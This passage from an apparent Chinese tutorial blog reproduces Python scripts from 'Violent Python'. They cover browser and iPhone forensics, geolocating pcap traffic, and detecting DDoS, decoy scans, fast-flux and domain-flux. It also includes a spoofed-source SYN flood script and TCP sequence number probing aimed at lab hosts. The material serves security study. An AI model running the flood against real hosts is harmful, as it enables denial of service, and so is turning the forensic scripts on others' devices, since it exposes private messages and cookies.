  53. # 解析打印places.sqlite文件的内容,输出百度的搜索记录  
  54. def printBaidu(placesDB):  
  55.     conn = sqlite3.connect(placesDB)  
  56.     c = conn.cursor()  
  57.     c.execute("select url, datetime(visit_date/1000000, ‘unixepoch‘) from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;")  
  58.   
  59.     print ‘\n[*] -- Found Baidu --‘  
  60.     for row in c:  
  61.         url = str(row[0])  
  62.         date = str(row[1])  
  63.         if ‘baidu‘ in url.lower():  
  64.             r = re.findall(r‘wd=.*?\&‘, url)  
  65.             if r:  
  66.                 search=r[0].split(‘&‘)[0]  
  67.                 search=search.replace(‘wd=‘, ‘‘).replace(‘+‘, ‘ ‘)  
  68.                 print ‘[+] ‘+date+‘ - Searched For: ‘ + search  
  69.   
  70. def main():  
  71.     parser = optparse.OptionParser("[*]Usage: firefoxParse.py -p <firefox profile path> ")  
  72.     parser.add_option(‘-p‘, dest=‘pathName‘, type=‘string‘, help=‘specify skype profile path‘)  
  73.     (options, args) = parser.parse_args()  
  74.     pathName = options.pathName  
  75.     if pathName == None:  
  76.         print parser.usage  
  77.         exit(0)  
  78.     elif os.path.isdir(pathName) == False:  
  79.         print ‘[!] Path Does Not Exist: ‘ + pathName  
  80.         exit(0)  
  81.     else:  
  82.         downloadDB = os.path.join(pathName, ‘downloads.sqlite‘)  
  83.         if os.path.isfile(downloadDB):  
  84.             printDownloads(downloadDB)  
  85.         else:  
  86.             print ‘[!] Downloads Db does not exist: ‘+downloadDB  
  87.   
  88.         cookiesDB = os.path.join(pathName, ‘cookies.sqlite‘)  
  89.         if os.path.isfile(cookiesDB):  
  90.             pass  
  91.             printCookies(cookiesDB)  
  92.         else:  
  93.             print ‘[!] Cookies Db does not exist:‘ + cookiesDB  
  94.   
  95.         placesDB = os.path.join(pathName, ‘places.sqlite‘)  
  96.         if os.path.isfile(placesDB):  
  97.             printHistory(placesDB)  
  98.             printBaidu(placesDB)  
  99.         else:  
  100.             print ‘[!] PlacesDb does not exist: ‘ + placesDB  
  101.   
  102. if __name__ == ‘__main__‘:  
  103.     main()  

上述脚本对原本的脚本进行了一点修改,修改的地方是对查找Google搜索记录部分改为对查找Baidu搜索记录,这样在国内更普遍使用~

运行结果:

技术分享图片

技术分享图片

技术分享图片

除了downloads.sqlite文件找不到外,其他的文件都正常解析内容了。在查找搜索内容部分,若为中文等字符则显示为编码的形式。


5、用Python调查iTunes的手机备份:

没有iPhone  :-)     ,有的自己测试一下吧 。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import os  
  4. import sqlite3  
  5. import optparse  
  6.   
  7. def isMessageTable(iphoneDB):  
  8.     try:  
  9.         conn = sqlite3.connect(iphoneDB)  
  10.         c = conn.cursor()  
  11.         c.execute(‘SELECT tbl_name FROM sqlite_master WHERE type==\"table\";‘)  
  12.         for row in c:  
  13.             if ‘message‘ in str(row):  
  14.             return True  
  15.     except:  
  16.             return False  
  17.   
  18. def printMessage(msgDB):  
  19.     try:  
  20.         conn = sqlite3.connect(msgDB)  
  21.         c = conn.cursor()  
  22.         c.execute(‘select datetime(date,\‘unixepoch\‘), address, text from message WHERE address>0;‘)  
  23.         for row in c:  
  24.             date = str(row[0])  
  25.             addr = str(row[1])  
  26.             text = row[2]  
  27.             print ‘\n[+] Date: ‘+date+‘, Addr: ‘+addr + ‘ Message: ‘ + text  
  28.     except:  
  29.         pass  
  30.   
  31. def main():  
  32.     parser = optparse.OptionParser("[*]Usage: python iphoneParse.py -p <iPhone Backup Directory> ")  
  33.     parser.add_option(‘-p‘, dest=‘pathName‘, type=‘string‘,help=‘specify skype profile path‘)  
  34.     (options, args) = parser.parse_args()  
  35.     pathName = options.pathName  
  36.     if pathName == None:  
  37.         print parser.usage  
  38.         exit(0)  
  39.     else:  
  40.         dirList = os.listdir(pathName)  
  41.         for fileName in dirList:  
  42.             iphoneDB = os.path.join(pathName, fileName)  
  43.             if isMessageTable(iphoneDB):  
  44.                 try:  
  45.                     print ‘\n[*] --- Found Messages ---‘  
  46.                     printMessage(iphoneDB)  
  47.                 except:  
  48.                     pass  
  49.   
  50. if __name__ == ‘__main__‘:  
  51.     main()  



第四章——用Python分析网络流量

1、IP流量将何去何从?——用Python回答:

使用PyGeoIP关联IP地址和物理地址:

需要下载安装pygeoip,可以pip install pygeoip或者到Github上下载安装https://github.com/appliedsec/pygeoip

同时需要下载用pygeoip操作的GeoLiteCity数据库来解压获得GeoLiteCity.dat数据库文件:

http://dev.maxmind.com/geoip/legacy/geolite/

将GeoLiteCity.dat放在脚本的同一目录中直接调用即可。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pygeoip  
  4.   
  5. # 查询数据库相关的城市信息并输出  
  6. def printRecord(tgt):  
  7.     rec = gi.record_by_name(tgt)  
  8.     city = rec[‘city‘]  
  9.     # 原来的代码为 region = rec[‘region_name‘],已弃用‘region_name‘  
  10.     region = rec[‘region_code‘]  
  11.     country = rec[‘country_name‘]  
  12.     long = rec[‘longitude‘]  
  13.     lat = rec[‘latitude‘]  
  14.     print ‘[*] Target: ‘ + tgt + ‘ Geo-located. ‘  
  15.     print ‘[+] ‘+str(city)+‘, ‘+str(region)+‘, ‘+str(country)  
  16.     print ‘[+] Latitude: ‘+str(lat)+ ‘, Longitude: ‘+ str(long)  
  17.   
  18. gi = pygeoip.GeoIP(‘GeoLiteCity.dat‘)  
  19. tgt = ‘173.255.226.98‘  
  20. printRecord(tgt)  

运行结果:

技术分享图片


使用Dpkt解析包:

需要安装dpkt包:pip install dpkt

dpkt允许逐个分析抓包文件里的各个数据包,并检查数据包中的每个协议层。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import dpkt  
  4. import socket  
  5.   
  6. def printPcap(pcap):  
  7.     # 遍历[timestamp, packet]记录的数组  
  8.     for (ts, buf) in pcap:  
  9.         try:  
  10.             # 获取以太网部分数据  
  11.             eth = dpkt.ethernet.Ethernet(buf)  
  12.             # 获取IP层数据  
  13.             ip = eth.data  
  14.             # 把存储在inet_ntoa中的IP地址转换成一个字符串  
  15.             src = socket.inet_ntoa(ip.src)  
  16.             dst = socket.inet_ntoa(ip.dst)  
  17.             print ‘[+] Src: ‘ + src + ‘ --> Dst: ‘ + dst  
  18.         except:  
  19.             pass  
  20.   
  21. def main():  
  22.     f = open(‘geotest.pcap‘)  
  23.     pcap = dpkt.pcap.Reader(f)  
  24.     printPcap(pcap)  
  25.   
  26. if __name__ == ‘__main__‘:  
  27.     main()  

因为抓取的流量不多,直接使用书上的数据包来测试即可:

技术分享图片


接着添加retGeoStr()函数,返回指定IP地址对应的物理位置,简单地解析出城市和三个字母组成的国家代码并输出到屏幕上。整合起来的代码如下:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import dpkt  
  4. import socket  
  5. import pygeoip  
  6. import optparse  
  7.   
  8. gi = pygeoip.GeoIP(‘GeoLiteCity.dat‘)  
  9.   
  10. # 查询数据库相关的城市信息并输出  
  11. def printRecord(tgt):  
  12.     rec = gi.record_by_name(tgt)  
  13.     city = rec[‘city‘]  
  14.     # 原来的代码为 region = rec[‘region_name‘],已弃用‘region_name‘  
  15.     region = rec[‘region_code‘]  
  16.     country = rec[‘country_name‘]  
  17.     long = rec[‘longitude‘]  
  18.     lat = rec[‘latitude‘]  
  19.     print ‘[*] Target: ‘ + tgt + ‘ Geo-located. ‘  
  20.     print ‘[+] ‘+str(city)+‘, ‘+str(region)+‘, ‘+str(country)  
  21.     print ‘[+] Latitude: ‘+str(lat)+ ‘, Longitude: ‘+ str(long)  
  22.   
  23. def printPcap(pcap):  
  24.     # 遍历[timestamp, packet]记录的数组  
  25.     for (ts, buf) in pcap:  
  26.         try:  
  27.             # 获取以太网部分数据  
  28.             eth = dpkt.ethernet.Ethernet(buf)  
  29.             # 获取IP层数据  
  30.             ip = eth.data  
  31.             # 把存储在inet_ntoa中的IP地址转换成一个字符串  
  32.             src = socket.inet_ntoa(ip.src)  
  33.             dst = socket.inet_ntoa(ip.dst)  
  34.             print ‘[+] Src: ‘ + src + ‘ --> Dst: ‘ + dst  
  35.             print ‘[+] Src: ‘ + retGeoStr(src) + ‘--> Dst: ‘ + retGeoStr(dst)  
  36.         except:  
  37.             pass  
  38.   
  39. # 返回指定IP地址对应的物理位置  
  40. def retGeoStr(ip):  
  41.     try:  
  42.         rec = gi.record_by_name(ip)  
  43.         city = rec[‘city‘]  
  44.         country = rec[‘country_code3‘]  
  45.         if city != ‘‘:  
  46.             geoLoc = city + ‘, ‘ + country  
  47.         else:  
  48.             geoLoc = country  
  49.         return geoLoc  
  50.     except Exception, e:  
  51.         return ‘Unregistered‘  
  52.   
  53. def main():  
  54.     parser = optparse.OptionParser(‘[*]Usage: python geoPrint.py -p <pcap file>‘)  
  55.     parser.add_option(‘-p‘, dest=‘pcapFile‘, type=‘string‘, help=‘specify pcap filename‘)  
  56.     (options, args) = parser.parse_args()  
  57.     if options.pcapFile == None:  
  58.         print parser.usage  
  59.         exit(0)  
  60.     pcapFile = options.pcapFile  
  61.     f = open(pcapFile)  
  62.     pcap = dpkt.pcap.Reader(f)  
  63.     printPcap(pcap)  
  64.   
  65. if __name__ == ‘__main__‘:  
  66.     main()  

还是使用之前测试用的数据包:

技术分享图片


使用Python画谷歌地图:

这里修改一下代码,将kml代码直接写入一个新文件中而不是直接输出到控制台。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import dpkt  
  4. import socket  
  5. import pygeoip  
  6. import optparse  
  7.   
  8. gi = pygeoip.GeoIP(‘GeoLiteCity.dat‘)  
  9.   
  10. # 通过IP地址的经纬度构建kml结构  
  11. def retKML(ip):  
  12.     rec = gi.record_by_name(ip)  
  13.     try:  
  14.         longitude = rec[‘longitude‘]  
  15.         latitude = rec[‘latitude‘]  
  16.         kml = (  
  17.             ‘<Placemark>\n‘  
  18.             ‘<name>%s</name>\n‘  
  19.             ‘<Point>\n‘  
  20.             ‘<coordinates>%6f,%6f</coordinates>\n‘  
  21.             ‘</Point>\n‘  
  22.             ‘</Placemark>\n‘  
  23.             ) %(ip,longitude, latitude)  
  24.         return kml  
  25.     except:  
  26.         return ‘ ‘  
  27.   
  28. def plotIPs(pcap):  
  29.     kmlPts = ‘‘  
  30.     for (ts, buf) in pcap:  
  31.         try:  
  32.             eth = dpkt.ethernet.Ethernet(buf)  
  33.             ip = eth.data  
  34.             src = socket.inet_ntoa(ip.src)  
  35.             srcKML = retKML(src)  
  36.             dst = socket.inet_ntoa(ip.dst)  
  37.             dstKML = retKML(dst)  
  38.             kmlPts = kmlPts + srcKML + dstKML  
  39.         except:  
  40.             pass  
  41.     return kmlPts  
  42.   
  43. def main():  
  44.     parser = optparse.OptionParser(‘[*]Usage: python googleearthPrint.py -p <pcap file>‘)  
  45.     parser.add_option(‘-p‘, dest=‘pcapFile‘, type=‘string‘, help=‘specify pcap filename‘)  
  46.     (options, args) = parser.parse_args()  
  47.     if options.pcapFile == None:  
  48.         print parser.usage  
  49.         exit(0)  
  50.     pcapFile = options.pcapFile  
  51.     f = open(pcapFile)  
  52.     pcap = dpkt.pcap.Reader(f)  
  53.   
  54.     kmlheader = ‘<?xml version="1.0" encoding="UTF-8"?>\  
  55.     \n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n‘  
  56.     kmlfooter = ‘</Document>\n</kml>\n‘  
  57.     kmldoc = kmlheader + plotIPs(pcap) + kmlfooter  
  58.     # print kmldoc  
  59.     with open(‘googleearthPrint.kml‘, ‘w‘) as f:  
  60.         f.write(kmldoc)  
  61.         print "[+]Created googleearthPrint.kml successfully"  
  62.   
  63. if __name__ == ‘__main__‘:  
  64.     main()  

运行结果:

技术分享图片

查看该kml文件:

技术分享图片

接着访问谷歌地球:https://www.google.com/earth/

在左侧选项中导入kml文件:

技术分享图片

导入后点击任一IP,可以看到该IP地址的定位地图:

技术分享图片


2、“匿名者”真能匿名吗?分析LOIC流量:

LOIC,即Low Orbit Ion Cannon低轨道离子炮,是用于压力测试的工具,通常被攻击者用来实现DDoS攻击。

使用Dpkt发现下载LOIC的行为:

一个比较可靠的LOIC下载源:https://sourceforge.net/projects/loic/

由于下载源站点已从HTTP升级为HTTPS,即已经无法直接通过抓包来进行请求头的分析了。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import dpkt  
  4. import socket  
  5.   
  6. def findDownload(pcap):  
  7.     for (ts, buf) in pcap:  
  8.         try:  
  9.             eth = dpkt.ethernet.Ethernet(buf)  
  10.             ip = eth.data  
  11.             src = socket.inet_ntoa(ip.src)  
  12.             # 获取TCP数据  
  13.             tcp = ip.data  
  14.             # 解析TCP中的上层协议HTTP的请求  
  15.             http = dpkt.http.Request(tcp.data)  
  16.             # 若是GET方法,且请求行中包含“.zip”和“loic”字样则判断为下载LOIC  
  17.             if http.method == ‘GET‘:  
  18.                 uri = http.uri.lower()  
  19.                 if ‘.zip‘ in uri and ‘loic‘ in uri:  
  20.                     print "[!] " + src + " Downloaded LOIC."  
  21.         except:  
  22.             pass  
  23.   
  24. f = open(‘download.pcap‘)  
  25. pcap = dpkt.pcap.Reader(f)  
  26. findDownload(pcap)  

这里直接使用书上提供的数据包进行测试:

技术分享图片


解析Hive服务器上的IRC命令:

下面的代码主要用于检测僵尸网络流量中的IRC命令:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import dpkt  
  4. import socket  
  5.   
  6. def findHivemind(pcap):  
  7.     for (ts, buf) in pcap:  
  8.         try:  
  9.             eth = dpkt.ethernet.Ethernet(buf)  
  10.             ip = eth.data  
  11.             src = socket.inet_ntoa(ip.src)  
  12.             dst = socket.inet_ntoa(ip.dst)  
  13.             tcp = ip.data  
  14.             dport = tcp.dport  
  15.             sport = tcp.sport  
  16.             # 若目标端口为6667且含有“!lazor”指令,则确定是某个成员提交一个攻击指令  
  17.             if dport == 6667:  
  18.                 if ‘!lazor‘ in tcp.data.lower():  
  19.                     print ‘[!] DDoS Hivemind issued by: ‘+src  
  20.                     print ‘[+] Target CMD: ‘ + tcp.data  
  21.             # 若源端口为6667且含有“!lazor”指令,则确定是服务器在向HIVE中的成员发布攻击的消息  
  22.             if sport == 6667:  
  23.                 if ‘!lazor‘ in tcp.data.lower():  
  24.                     print ‘[!] DDoS Hivemind issued to: ‘+src  
  25.                     print ‘[+] Target CMD: ‘ + tcp.data  
  26.         except:  
  27.             pass  
  28.   
  29. f = open(‘hivemind.pcap‘)  
  30. pcap = dpkt.pcap.Reader(f)  
  31. findHivemind(pcap)  

同样直接用案例的数据包来测试:

技术分享图片


实时检测DDoS攻击:

主要通过设置检测不正常数据包数量的阈值来判断是否存在DDoS攻击。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import dpkt  
  4. import socket  
  5.   
  6. # 默认设置检测不正常数据包的数量的阈值为1000  
  7. THRESH = 1000  
  8.   
  9. def findAttack(pcap):  
  10.     pktCount = {}  
  11.     for (ts, buf) in pcap:  
  12.         try:  
  13.             eth = dpkt.ethernet.Ethernet(buf)  
  14.             ip = eth.data  
  15.             src = socket.inet_ntoa(ip.src)  
  16.             dst = socket.inet_ntoa(ip.dst)  
  17.             tcp = ip.data  
  18.             dport = tcp.dport  
  19.             # 累计各个src地址对目标地址80端口访问的次数  
  20.             if dport == 80:  
  21.                 stream = src + ‘:‘ + dst  
  22.                 if pktCount.has_key(stream):  
  23.                     pktCount[stream] = pktCount[stream] + 1  
  24.                 else:  
  25.                     pktCount[stream] = 1  
  26.         except:  
  27.             pass  
  28.   
  29.     for stream in pktCount:  
  30.         pktsSent = pktCount[stream]  
  31.         # 若超过设置检测的阈值,则判断为进行DDoS攻击  
  32.         if pktsSent > THRESH:  
  33.             src = stream.split(‘:‘)[0]  
  34.             dst = stream.split(‘:‘)[1]  
  35.             print ‘[+] ‘ + src + ‘ attacked ‘ + dst + ‘ with ‘ + str(pktsSent) + ‘ pkts.‘  
  36.   
  37. f = open(‘attack.pcap‘)  
  38. pcap = dpkt.pcap.Reader(f)  
  39. findAttack(pcap)  

同样直接用案例的数据包来测试:

技术分享图片


然后将前面的代码整合到一起:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import dpkt  
  4. import socket  
  5. import optparse  
  6.   
  7. # 默认设置检测不正常数据包的数量的阈值为1000  
  8. THRESH = 1000  
  9.   
  10. def findDownload(pcap):  
  11.     for (ts, buf) in pcap:  
  12.         try:  
  13.             eth = dpkt.ethernet.Ethernet(buf)  
  14.             ip = eth.data  
  15.             src = socket.inet_ntoa(ip.src)  
  16.             # 获取TCP数据  
  17.             tcp = ip.data  
  18.             # 解析TCP中的上层协议HTTP的请求  
  19.             http = dpkt.http.Request(tcp.data)  
  20.             # 若是GET方法,且请求行中包含“.zip”和“loic”字样则判断为下载LOIC  
  21.             if http.method == ‘GET‘:  
  22.                 uri = http.uri.lower()  
  23.                 if ‘.zip‘ in uri and ‘loic‘ in uri:  
  24.                     print "[!] " + src + " Downloaded LOIC."  
  25.         except:  
  26.             pass  
  27.   
  28. def findHivemind(pcap):  
  29.     for (ts, buf) in pcap:  
  30.         try:  
  31.             eth = dpkt.ethernet.Ethernet(buf)  
  32.             ip = eth.data  
  33.             src = socket.inet_ntoa(ip.src)  
  34.             dst = socket.inet_ntoa(ip.dst)  
  35.             tcp = ip.data  
  36.             dport = tcp.dport  
  37.             sport = tcp.sport  
  38.             # 若目标端口为6667且含有“!lazor”指令,则确定是某个成员提交一个攻击指令  
  39.             if dport == 6667:  
  40.                 if ‘!lazor‘ in tcp.data.lower():  
  41.                     print ‘[!] DDoS Hivemind issued by: ‘+src  
  42.                     print ‘[+] Target CMD: ‘ + tcp.data  
  43.             # 若源端口为6667且含有“!lazor”指令,则确定是服务器在向HIVE中的成员发布攻击的消息  
  44.             if sport == 6667:  
  45.                 if ‘!lazor‘ in tcp.data.lower():  
  46.                     print ‘[!] DDoS Hivemind issued to: ‘+src  
  47.                     print ‘[+] Target CMD: ‘ + tcp.data  
  48.         except:  
  49.             pass  
  50.   
  51. def findAttack(pcap):  
  52.     pktCount = {}  
  53.     for (ts, buf) in pcap:  
  54.         try:  
  55.             eth = dpkt.ethernet.Ethernet(buf)  
  56.             ip = eth.data  
  57.             src = socket.inet_ntoa(ip.src)  
  58.             dst = socket.inet_ntoa(ip.dst)  
  59.             tcp = ip.data  
  60.             dport = tcp.dport  
  61.             # 累计各个src地址对目标地址80端口访问的次数  
  62.             if dport == 80:  
  63.                 stream = src + ‘:‘ + dst  
  64.                 if pktCount.has_key(stream):  
  65.                     pktCount[stream] = pktCount[stream] + 1  
  66.                 else:  
  67.                     pktCount[stream] = 1  
  68.         except:  
  69.             pass  
  70.   
  71.     for stream in pktCount:  
  72.         pktsSent = pktCount[stream]  
  73.         # 若超过设置检测的阈值,则判断为进行DDoS攻击  
  74.         if pktsSent > THRESH:  
  75.             src = stream.split(‘:‘)[0]  
  76.             dst = stream.split(‘:‘)[1]  
  77.             print ‘[+] ‘ + src + ‘ attacked ‘ + dst + ‘ with ‘ + str(pktsSent) + ‘ pkts.‘  
  78.   
  79. def main():  
  80.     parser = optparse.OptionParser("[*]Usage python findDDoS.py -p <pcap file> -t <thresh>")  
  81.     parser.add_option(‘-p‘, dest=‘pcapFile‘, type=‘string‘, help=‘specify pcap filename‘)  
  82.     parser.add_option(‘-t‘, dest=‘thresh‘, type=‘int‘, help=‘specify threshold count ‘)  
  83.     (options, args) = parser.parse_args()  
  84.     if options.pcapFile == None:  
  85.         print parser.usage  
  86.         exit(0)  
  87.     if options.thresh != None:  
  88.         THRESH = options.thresh  
  89.     pcapFile = options.pcapFile  
  90.     # 这里的pcap文件解析只能调用一次,注释掉另行修改  
  91.     # f = open(pcapFile)  
  92.     # pcap = dpkt.pcap.Reader(f)  
  93.     # findDownload(pcap)  
  94.     # findHivemind(pcap)  
  95.     # findAttack(pcap)  
  96.     with open(pcapFile, ‘r‘) as f:  
  97.         pcap = dpkt.pcap.Reader(f)  
  98.         findDownload(pcap)  
  99.     with open(pcapFile, ‘r‘) as f:  
  100.         pcap = dpkt.pcap.Reader(f)  
  101.         findHivemind(pcap)  
  102.     with open(pcapFile, ‘r‘) as f:  
  103.         pcap = dpkt.pcap.Reader(f)  
  104.         findAttack(pcap)  
  105.   
  106. if __name__ == ‘__main__‘:  
  107.     main()  

由于这部分作者没有给示例数据包,那就自己来合并上述几个pcap文件,使用命令:

mergecap -a -F pcap -w traffic.pcap download.pcap hivemind.pcap attack.pcap

-a参数指定按照命令顺序来合并各个pcap文件(不添加-a参数则默认按照时间的顺序合并),-F参数指定生成的文件类型,-w参数指定生成的pcap文件。

技术分享图片

运行结果:

技术分享图片


3、H.D.Moore是如何解决五角大楼的麻烦的:

理解TTL字段:

TTL即time-to-live,由8比特组成,可以用来确定在到达目的地之前数据包经过了几跳。当计算机发送一个IP数据包时会设置TTL字段为数据包在到达目的地之前所应经过的中继跳转的上限值,数据包每经过一个路由设备,TTL值就自减一,若减至0还未到目的地,路由器会丢弃该数据包以防止无限路由循环。

Nmap进行伪装扫描时,伪造数据包的TTL值是没有经过计算的,因而可以利用TTL值来分析所有来自Nmap扫描的数据包,对于每个被记录为Nmap扫描的源地址,发送一个ICMP数据包来确定源地址与目标机器之间隔了几跳,从而来辨别真正的扫描源。

Nmap的-D参数实现伪造源地址扫描:nmap 192.168.220.128 -D 8.8.8.8

技术分享图片

Wireshark抓包分析,加上过滤器的条件“ip.addr==8.8.8.8”,发现确实是有用伪造源地址进行扫描:

技术分享图片

点击各个数据包查看TTL值:

技术分享图片

技术分享图片

可以看到默认扫描的Nmap扫描,其ttl值是随机的。

添加-ttl参数指定值为13之后,可以看到发送的数据包的ttl值都为13:

技术分享图片


用Scapy解析TTL字段的值:

这里使用Scapy库来获取源地址IP及其TTL值。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. # 检查数据包的IP层,提取出源IP和TTL字段的值  
  6. def testTTL(pkt):  
  7.     try:  
  8.         if pkt.haslayer(IP):  
  9.             ipsrc = pkt.getlayer(IP).src  
  10.             ttl = str(pkt.ttl)  
  11.             print "[+] Pkt Received From: " + ipsrc + " with TTL: " + ttl  
  12.     except:  
  13.         pass  
  14.   
  15. def main():  
  16.     sniff(prn=testTTL, store=0)  
  17.   
  18. if __name__ == ‘__main__‘:  
  19.     main()  

运行脚本监听后,启动Nmap伪造源地址扫描即可看到如下结果:

技术分享图片


接着添加checkTTL()函数,主要实现对比TTL值进行源地址真伪判断:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4. import time  
  5. import optparse  
  6. # 为避免IPy库中的IP类与Scapy库中的IP类冲突,重命名为IPTEST类  
  7. from IPy import IP as IPTEST  
  8.   
  9. ttlValues = {}  
  10. THRESH = 5  
  11.   
  12. # 检查数据包的IP层,提取出源IP和TTL字段的值  
  13. def testTTL(pkt):  
  14.     try:  
  15.         if pkt.haslayer(IP):  
  16.             ipsrc = pkt.getlayer(IP).src  
  17.             ttl = str(pkt.ttl)  
  18.             checkTTL(ipsrc, ttl)  
  19.     except:  
  20.         pass  
  21.   
  22. def checkTTL(ipsrc, ttl):  
  23.     # 判断是否是内网私有地址  
  24.     if IPTEST(ipsrc).iptype() == ‘PRIVATE‘:  
  25.         return  
  26.   
  27.     # 判断是否出现过该源地址,若没有则构建一个发往源地址的ICMP包,并记录回应数据包中的TTL值  
  28.     if not ttlValues.has_key(ipsrc):  
  29.         pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0)  
  30.         ttlValues[ipsrc] = pkt.ttl  
  31.   
  32.     # 若两个TTL值之差大于阈值,则认为是伪造的源地址  
  33.     if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:  
  34.         print ‘\n[!] Detected Possible Spoofed Packet From: ‘ + ipsrc  
  35.         print ‘[!] TTL: ‘ + ttl + ‘, Actual TTL: ‘ + str(ttlValues[ipsrc])  
  36.   
  37. def main():  
  38.     parser = optparse.OptionParser("[*]Usage python spoofDetect.py -i <interface> -t <thresh>")  
  39.     parser.add_option(‘-i‘, dest=‘iface‘, type=‘string‘, help=‘specify network interface‘)  
  40.     parser.add_option(‘-t‘, dest=‘thresh‘, type=‘int‘, help=‘specify threshold count ‘)  
  41.     (options, args) = parser.parse_args()  
  42.     if options.iface == None:  
  43.         conf.iface = ‘eth0‘  
  44.     else:  
  45.         conf.iface = options.iface  
  46.     if options.thresh != None:  
  47.         THRESH = options.thresh  
  48.     else:  
  49.         THRESH = 5  
  50.   
  51.     sniff(prn=testTTL, store=0)  
  52.   
  53. if __name__ == ‘__main__‘:  
  54.     main()  

运行脚本监听后,启动Nmap伪造源地址扫描即可看到如下结果:

技术分享图片


4、“风暴”(Storm)的fast-flux和Conficker的domain-flux:

你的DNS知道一些不为你所知的吗?

下面用nslookup命令来进行一次域名查询:

技术分享图片

Wireshark抓包如下:

技术分享图片

可以看到客户端发送DNSQR请求包,服务器发送DNSRR响应包。


使用Scapy解析DNS流量:

一个DNSQR包含有查询的名称qname、查询的类型qtype、查询的类别qclass。

一个DNSRR包含有资源记录名名称rrname、类型type、资源记录类别rtype、TTL等等。

技术分享图片


用Scapy找出fast-flux流量:

解析pcap文件中所有含DNSRR的数据包,提取分别含有查询的域名和对应的IP的rrname和rdata变量,然后建立一个索引字典并对字典中未出现的IP添加到数组中。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. dnsRecords = {}  
  6.   
  7. def handlePkt(pkt):  
  8.     # 判断是否含有DNSRR  
  9.     if pkt.haslayer(DNSRR):  
  10.         rrname = pkt.getlayer(DNSRR).rrname  
  11.         rdata = pkt.getlayer(DNSRR).rdata  
  12.         if dnsRecords.has_key(rrname):  
  13.             if rdata not in dnsRecords[rrname]:  
  14.                 dnsRecords[rrname].append(rdata)  
  15.         else:  
  16.             dnsRecords[rrname] = []  
  17.             dnsRecords[rrname].append(rdata)  
  18.   
  19. def main():  
  20.     pkts = rdpcap(‘fastFlux.pcap‘)  
  21.     for pkt in pkts:  
  22.         handlePkt(pkt)  
  23.     for item in dnsRecords:  
  24.         print "[+] " + item + " has " + str(len(dnsRecords[item])) + " unique IPs."  
  25.         # for i in dnsRecords[item]:  
  26.         #   print "[*] " + i  
  27.         # print  
  28.   
  29. if __name__ == ‘__main__‘:  
  30.     main()  

用书上的数据包进行测试:

技术分享图片


用Scapy找出Domain Flux流量:

通常,Conficker会在感染的几小时内生成许多DNS域名,但很多域名都是假的,目的是为了掩盖真正的命令与控制服务器,因而需要寻找的就是那些对未知域名查询回复出错信息的服务器响应包。

这里只检查服务器53端口的数据包,DNS数据包有个rcode字段,当其值为3时表示域名不存在。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. def dnsQRTest(pkt):  
  6.     # 判断是否含有DNSRR且存在UDP端口53  
  7.     if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:  
  8.         rcode = pkt.getlayer(DNS).rcode  
  9.         qname = pkt.getlayer(DNSQR).qname  
  10.         # 若rcode为3,则表示该域名不存在  
  11.         if rcode == 3:  
  12.             print ‘[!] Name request lookup failed: ‘ + qname  
  13.             return True  
  14.         else:  
  15.             return False  
  16.   
  17. def main():  
  18.     unAnsReqs = 0  
  19.     pkts = rdpcap(‘domainFlux.pcap‘)  
  20.     for pkt in pkts:  
  21.         if dnsQRTest(pkt):  
  22.             unAnsReqs = unAnsReqs + 1  
  23.     print ‘[!] ‘ + str(unAnsReqs) + ‘ Total Unanswered Name Requests‘  
  24.   
  25. if __name__ == ‘__main__‘:  
  26.     main()  

书上示例数据包测试结果:

技术分享图片


5、Kevin Mitnick和TCP序列号预测:

预测你自己的TCP序列号:

TCP序列号预测利用的是原本设计用来区分各个独立的网络连接的TCP序列号的生成缺乏随机性这一缺陷。


使用Scapy制造SYN洪泛攻击:

使用Scapy制造一些再有TCP协议层的IP数据包,让这些包TCP源端口不断地自增一,而目的TCP端口513不变。

先确认目标主机开启了513端口,然后进行SYN洪泛攻击:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. def synFlood(src, tgt):  
  6.     # TCP源端口不断自增一,而目标端口513不变  
  7.     for sport in range(1024, 65535):  
  8.         IPlayer = IP(src=src, dst=tgt)  
  9.         TCPlayer = TCP(sport=sport, dport=513)  
  10.         pkt = IPlayer / TCPlayer  
  11.         send(pkt)  
  12.   
  13. src = "192.168.220.132"  
  14. tgt = "192.168.220.128"  
  15. synFlood(src, tgt)  

运行结果:

技术分享图片


计算TCP序列号:

主要通过发送TCP SYN数据包来从依次收到的SYN/ACK包中计算TCP序列号之差,查看是否存在可被猜测的规律。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from scapy.all import *  
  4.   
  5. def calTSN(tgt):  
  6.     seqNum = 0  
  7.     preNum = 0  
  8.     diffSeq = 0  
  9.   
  10.     for x in range(1, 5):  
  11.         if preNum != 0:  
  12.             preNum = seqNum  
  13.         pkt = IP(dst=tgt) / TCP()  
  14.         ans = sr1(pkt, verbose=0)  
  15.         seqNum = ans.getlayer(TCP).seq  
  16.         diffSeq = seqNum - preNum  
  17.         print ‘[+] TCP Seq Difference: ‘ + str(diffSeq)  
  18.     return seqNum + diffSeq  
  19.   
  20. tgt = "192.168.220.128"  
  21. seqNum = calTSN(tgt)  
